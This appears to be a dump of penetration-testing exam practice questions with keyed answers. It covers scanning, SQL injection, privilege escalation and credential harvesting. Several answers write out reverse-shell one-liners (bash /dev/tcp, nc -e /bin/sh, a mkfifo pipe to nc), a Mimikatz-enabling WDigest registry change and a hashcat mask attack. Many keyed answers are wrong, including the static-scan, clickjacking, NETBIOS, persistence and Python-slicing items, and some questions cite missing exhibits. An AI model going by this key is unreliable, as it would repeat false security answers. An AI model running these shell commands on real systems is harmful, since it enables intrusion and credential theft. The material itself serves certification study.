A security analyst was provided with a detailed penetration report, which was performed against the organization's DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0. Which of the following levels of difficulty would be required to exploit this vulnerability? A. Very difficult; perimeter systems are usually behind a firewall. B. Somewhat difficult; would require significant processing power to exploit. C. Trivial; little effort is required to exploit this finding. D. Impossible; external hosts are hardened to protect against attacks.

Trivial; little effort is required to exploit this finding.

A recent vulnerability scan of all web servers in an environment offers the following results: Taking a risk-based approach, which of the following is the BEST order to approach remediation based on exposure? A. Unrestricted file upload, clickjacking, verbose server banner, SQL injection B. Unrestricted file upload, SQL injection, clickjacking, verbose server banner C. Clickjacking, unrestricted file upload, verbose server banner, SQL injection D. SQL injection, unrestricted file upload, clickjacking, verbose server banner E. SQL injection, clickjacking, unrestricted file upload, verbose server banner

Unrestricted file upload, SQL injection, clickjacking, verbose server banner

A software development team recently migrated to new application software on the on-premises environment. Penetration test findings show that multiple vulnerabilities exist. If a penetration tester does not have access to a live or test environment, a test might be better to create the same environment on the VM. Which of the following is MOST important for confirmation? A. Unsecure service and protocol configuration B. Running SMB and SMTP service C. Weak password complexity and user account D. Misconfiguration

Unsecure service and protocol configuration

While presenting the results of a penetration test to a client's executive team, the Chief Information Security Officer (CISO) asks for remediation advice for a shared local administrator finding. The client is geographically dispersed, and centralized management is a key concern. Which of the following is the BEST remediation to suggest? A. Have random and unique credentials per system. B. Disable the administrator login from the network. C. Use a service account for administrative functions. D. Implement a single rotating password for systems.

Use a service account for administrative functions.

A penetration tester discovers SNMP on some targets. Which of the following should the penetration tester try FIRST? A. Sniff SNMP traffic. B. Use default credentials. C. Upload a new config file. D. Conduct a MITM.

Use default credentials.

A penetration tester has been assigned to perform an external penetration assessment of a company. Which of the following steps would BEST help with the passive-information-gathering process? (Choose two.) A. Wait outside of the company?s building and attempt to tailgate behind an employee. B. Perform a vulnerability scan against the company?s external netblock, identify exploitable vulnerabilities, and attempt to gain access. C. Use domain and IP registry websites to identify the company?s external netblocks and external facing applications. D. Search social media for information technology employees who post information about the technologies they work with. E. Identify the company?s external facing webmail application, enumerate user accounts and attempt password guessing to gain access.

Use domain and IP registry websites to identify the company?s external netblocks and external facing applications. Search social media for information technology employees who post information about the technologies they work with.

At the information gathering stage, a penetration tester is trying to passively identify the technology running on a client?s website. Which of the following approached should the penetration tester take? A. Run a spider scan in Burp Suite. B. Use web aggregators such as BuiltWith and Netcraft C. Run a web scraper and pull the website?s content. D. Use Nmap to fingerprint the website?s technology.

Use web aggregators such as BuiltWith and Netcraft

A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should the software developer perform? A. Vulnerability scan B. Dynamic scan C. Static scan D. Compliance scan

Vulnerability scan

A company has engaged a penetration tester to perform an assessment for an application that resides in the company's DMZ. Prior to conducting testing, in which of the following solutions should the penetration tester?s IP address be whitelisted? A. WAF B. HIDS C. NIDS D. DLP

WAF

An attacker receives a DHCP address and notices the hostname was populated in the corporate DNS server. Which of the following BEST describes how the attacker can use this information? A. VLAN hopping B. DCSync operation C. Setting custom SRV records D. WPAD attack

WPAD attack

While performing privilege escalation on a Windows 7 workstation, a penetration tester identifies a service that imports a DLL by name rather than an absolute path. To exploit this vulnerability, which of the following criteria must be met? A. Permissions not disabled in the DLL B. Weak folder permissions of a directory in the DLL search path C. Write permissions in the C:\Windows\System32\imports directory D. DLL not cryptographically signed by the vendor

Weak folder permissions of a directory in the DLL search path

A penetration tester identifies the following findings during an external vulnerability scan: Which of the following attack strategies should be prioritized from the scan results above? A. Obsolete software may contain exploitable components. B. Weak password management practices may be employed. C. Cryptographically weak protocols may be intercepted. D. Web server configurations may reveal sensitive information.

Web server configurations may reveal sensitive information.

A penetration tester has successfully exploited a Windows host with low privileges and found directories with the following permissions: Which of the following should be performed to escalate the privileges? A. Kerberoasting B. Retrieval of the SAM database C. Migration of the shell to another process D. Writable services

Writable services

Place the following in order of complexity: zv3rl0ry Zverlory Zverl0ry Zv3r!0ry

Zverlory zv3rl0ry Zverl0ry Zv3r!0ry

A penetration tester has been hired to perform a penetration test for an organization. Which of the following is indicative of an error-based SQL injection attack? A. a=1 or 1-- B. 1=1 or b-- C. 1=1 or 2-- D. 1=1 or a--

a=1 or 1--

Given the following Python code: a = 'abcdefghijklmnop' a[::2] Which of the following will result? A. adgjmp B. pnlhfdb C. acegikmo D. ab

acegikmo

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use? A. perl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443; B. ssh superadmin@<DESTINATIONIP> -p 443 C. nc -e /bin/sh <SOURCEIP> 443 D. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1

A static code analysis report of a web application can be leveraged to identify: A. business logic flaws. B. insufficient input sanitization. C. session fixation issues. D. client-side data storage. E. clickjacking.

clickjacking.

A tester has captured a NetNTLMv2 hash using Responder. Which of the following commands will allow the tester to crack the hash using a mask attack? A. hashcat -m 5600 -r rules/bestG4.rule hash.txt wordlist.txt B. hashcat -m 5600 hash.txt C. hashcat -m 5600 -a 3 hash.txt ?a?a?a?a?a?a?a?a D. hashcat -m 5600 -o results.text hash.txt wordlist.txt

hashcat -m 5600 -a 3 hash.txt ?a?a?a?a?a?a?a?a

A penetration tester successfully exploits a system, receiving a reverse shell. Which of the following is a Meterpreter command that is used to harvest locally stored credentials? A. background B. hashdump C. session D. getuid E. psexec

hashdump

Joe, an attacker, intends to transfer funds discreetly from a victim?s account to his own. Which of the following URLs can he use to accomplish this attack? A. https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action- ACHTransfer&senderID=654846&notify=False&creditaccount=?OR 1=1 AND select username from testbank.custinfo where username like ?Joe?-&amount=200 B. https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action- ACHTransfer&senderID=654846&notify=False&creditaccount=?OR 1=1 AND select username from testbank.custinfo where username like ?Joe? &amount=200 C. https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action- ACHTransfer&senderID=654846&notify=True&creditaccount=?OR 1=1 AND select username from testbank.custinfo where username like ?Joe? -&amount=200 D. https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action- ACHTransfer&senderID=654846&notify=True&creditaccount=?AND 1=1 AND select username from testbank.custinfo where username like ?Joe? -&amount=200

https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action- ACHTransfer&senderID=654846&notify=False&creditaccount=?OR 1=1 AND select username from testbank.custinfo where username like ?Joe? &amount=200

A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device? A. nc -lvp 4444 /bin/bash B. nc -vp 4444 /bin/bash C. nc -p 4444 /bin/bash D. nc -lp 4444 -e /bin/bash

nc -lp 4444 -e /bin/bash

A tester intends to run the following command on a target system: bash -i >& /dev/tcp/10.2.4.6/443 0> &1 Which of the following additional commands would need to be executed on the tester?s Linux system to make the previous command successful? A. nc -nlvp 443 B. nc 10.2.4.6. 443 C. nc -w3 10.2.4.6 443 D. nc -e /bin/sh 10.2.4.6. 443

nc -nlvp 443

A penetration tester wants to target NETBIOS name service. Which of the following is the MOST likely command to exploit the NETBIOS name service? A. arpspoof B. nmap C. responder D. burpsuite

nmap

A penetration tester, who is not on the client?s network. is using Nmap to scan the network for hosts that are in scope. The penetration tester is not receiving any response on the command: nmap 100.100/1/0-125 Which of the following commands would be BEST to return results? A. nmap -Pn -sT 100.100.1.0-125 B. nmap -sF -p 100.100.1.0-125 C. nmap -sV -oA output 100.100.10-125 D. nmap 100.100.1.0-125 -T4

nmap -Pn -sT 100.100.1.0-125

A penetration tester is scanning a network for SSH and has a list of provided targets. Which of the following Nmap commands should the tester use? A. nmap -p 22 -iL targets B. nmap -p 22 -sL targets C. nmap -p 22 -oG targets D. nmap -p 22 -oA targets

nmap -p 22 -iL targets

A penetration tester wants to script out a way to discover all the RPTR records for a range of IP addresses. Which of the following is the MOST efficient to utilize? A. nmap -p 53 -oG dnslist.txt | cut -d ?:? -f 4 B. nslookup -ns 8.8.8.8 << dnslist.txt C. for x in {1...254}; do dig -x 192.168.$x.$x; done D. dig -r > echo ?8.8.8.8? >> /etc/resolv.conf

nmap -p 53 -oG dnslist.txt | cut -d ?:? -f 4

You are a penetration tester running port scans on a server. INSTRUCTIONS Part1: Given the output, construct the command that was used to generate this output from the available options. Part2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

nmap 192.168.2.2 -sV -O Weak SMB file permissions

During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows 10 OS. The tester wants to perform credential harvesting with Mimikatz. Which of the following registry changes would allow for credential caching in memory? A. reg add HKLM\System\ControlSet002\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 0 B. reg add HKCU\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1 C. reg add HKLM\Software\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1 D. reg add HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

reg add HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the following would achieve that goal? A. schtasks.exe /create/tr ?powershell.exe? Sv.ps1 /run B. net session server | dsquery -user | net use c$ C. powershell && set-executionpolicy unrestricted D. reg save HKLM\System\CurrentControlSet\Services\Sv.reg

reg save HKLM\System\CurrentControlSet\Services\Sv.reg

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO). A. nc 192.168.1.5 44444 B. nc -nlvp 44444 -e /bin/sh C. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f D. nc -e /bin/sh 192.168.1.5 44444 E. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f F. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f nc -e /bin/sh 192.168.1.5 44444

A manager calls upon a tester to assist with diagnosing an issue within the following Python script :#!/usr/bin/pythons = "Administrator" The tester suspects it is an issue with string slicing and manipulation.

s [4:8] : nist s [4:12:2] : nsrt s [3:-1] : imdA s [-7:-2] : strat